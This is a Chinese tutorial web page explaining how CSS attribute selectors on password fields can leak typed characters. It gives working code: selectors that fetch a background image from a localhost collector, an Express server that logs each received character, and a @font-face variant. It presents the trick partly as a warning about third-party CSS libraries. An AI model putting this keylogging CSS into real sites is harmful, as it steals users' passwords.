• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com专业计算机教程网站
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • html/xhtml
  • html5
  • CSS
  • XML/XSLT
  • Dreamweaver教程
  • Frontpage教程
  • 心得技巧
  • bootstrap
  • vue
  • AngularJS
  • HBuilder教程
  • css3
  • 浏览器兼容
  • div/css
  • 网页编辑器
  • axure
您的位置:首页 > 网页设计 >html5 > 怎么用CSS设置记录用户密码

怎么用CSS设置记录用户密码

作者:匿名 字体:[增加 减小] 来源:互联网 时间:2018-12-03

本文主要包含css,样式表,密码等相关知识,匿名希望在学习及工作中可以帮助到您
这次给大家带来怎么用CSS设置记录用户密码,用CSS设置记录用户密码的注意事项有哪些,下面就是实战案例,一起来看一下。

简单的CSS代码,甚至不符合图灵完备的语言,但是也能成为一些攻击者的工具,下面简单介绍一下如何使用CSS去记录用户的密码。但是这些CSS脚本会出现在第三方CSS库中,所以使用第三方CSS库也需要谨慎,确保代码安全。直接上代码解析:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}
input[type="password"][value$="1"] { 
    background-image: url("http://localhost:3000/1"); 
}
input[type="password"][value$="2"] { 
    background-image: url("http://localhost:3000/2"); 
}

以上是部分代码,我们来解析一下CSS代码

input[type="password"]是css选择器,作用是选择密码输入框, [value$="0"]表示匹配输入的值是以0结尾的。所以:

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}

上面代码的意思就是如果你在密码框中输入0,就去请求http://localhost:3000/0接口,但是浏览器默认情况下是不会将用户输入的值存储在value属性中,但是有的框架会同步这些值,例如React。

所以只要使用了如下图的脚本就能去存储用户的输入数据信息。

我们再来看一下服务器端的代码:

const express = require("express");
const app = express();
app.get("/:key", (req, res) => {
   process.stdout.write(req.params.key);
   return res.sendStatus(400);
});
app.listen(3000, () => console.log("启动,监听3000端口"));

使用express创建服务器,监听3000端口,只要请求http://localhost:3000/:key,就能输出key的值,就能在服务器上记录输入的值。所以只要在每输入一个值都匹配,然后通过 background-image 去请求一个已经准备好的接口,就能记录用户的输入。类似的方法记录用户的内容的CSS代码@font-face {

   font-family: blah;  
   src: url('http://localhost:3000/a') format('woff');  
   unicode-range: U+85;
}
html {  
   font-family: blah, sans-serif;
}

相信看了本文案例你已经掌握了方法,更多精彩请关注微课江湖其它相关文章!

推荐阅读:

h5实现多图片预览上传及点击可拖拽控件

S5让分层屏幕适配

以上就是怎么用CSS设置记录用户密码的详细内容,更多请关注微课江湖其它相关文章!

您可能想查找下面的文章:

  • 纯HTML5+CSS3制作生日蛋糕(代码易懂)
  • 浅谈html5标签css3的常用样式
  • HTML5+CSS3实现机器猫
  • CSS3 画基本图形,圆形、椭圆形、三角形等
  • 浅谈HTML5 & CSS3的新交互特性
  • HTML5和CSS3实例教程总结(推荐)
  • 使用HTML5里的classList操作CSS类
  • 关于老式浏览器兼容HTML5和CSS3的问题
  • HTML5移动端开发中的Viewport标签及相关CSS用法解析
  • html5+css3进度条倒计时动画特效代码【推荐】

相关文章

  • 2017-08-06HTML5 DeviceOrientation实现手机网站摇一摇功能代码实例
  • 2018-12-03利用SurfaceView实现下雨与下雪动画的效果
  • 2018-12-03总是把native看成naive会有哪些有趣的事情发生?
  • 2017-08-06HTML5的Geolocation地理位置定位API使用教程
  • 2018-12-03利用XML开发留言板简单的例子
  • 2018-12-03HTML5视频播放的详细介绍
  • 2018-12-03如何给前端外行解释 HTML5?
  • 2017-08-06基于html5 DeviceOrientation 实现微信摇一摇功能
  • 2017-08-06详解HTML5通讯录获取指定多个人的信息
  • 2018-12-0310个HTML5代码片段可在网站制作中随时可用详解

文章分类

  • html/xhtml
  • html5
  • CSS
  • XML/XSLT
  • Dreamweaver教程
  • Frontpage教程
  • 心得技巧
  • bootstrap
  • vue
  • AngularJS
  • HBuilder教程
  • css3
  • 浏览器兼容
  • div/css
  • 网页编辑器
  • axure

最近更新的内容

    • Web时代变迁及html5与html4的区别
    • HTML5高级编程之图形扭曲及其应用二(运用篇)
    • HTML5 WebSocket实现多文件同时上传的实例
    • 随着HTML5的发展和微信应用号的出现,如何看待未来移动开发着的定位?
    • 怎么评价国产框架MUI跟ReactNative的对比帖?
    • HTML5标准学习-DOCTYPE头部分析
    • html5的画布canvas——画出简单的矩形、三角形实例代码_html5教程技巧
    • 支持移动端的HTML5 Canvas逼真黑板特效
    • HTML5添加鼠标悬浮音响效果不使用FLASH_html5教程技巧
    • HTML5实现文件断点续传的方法

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有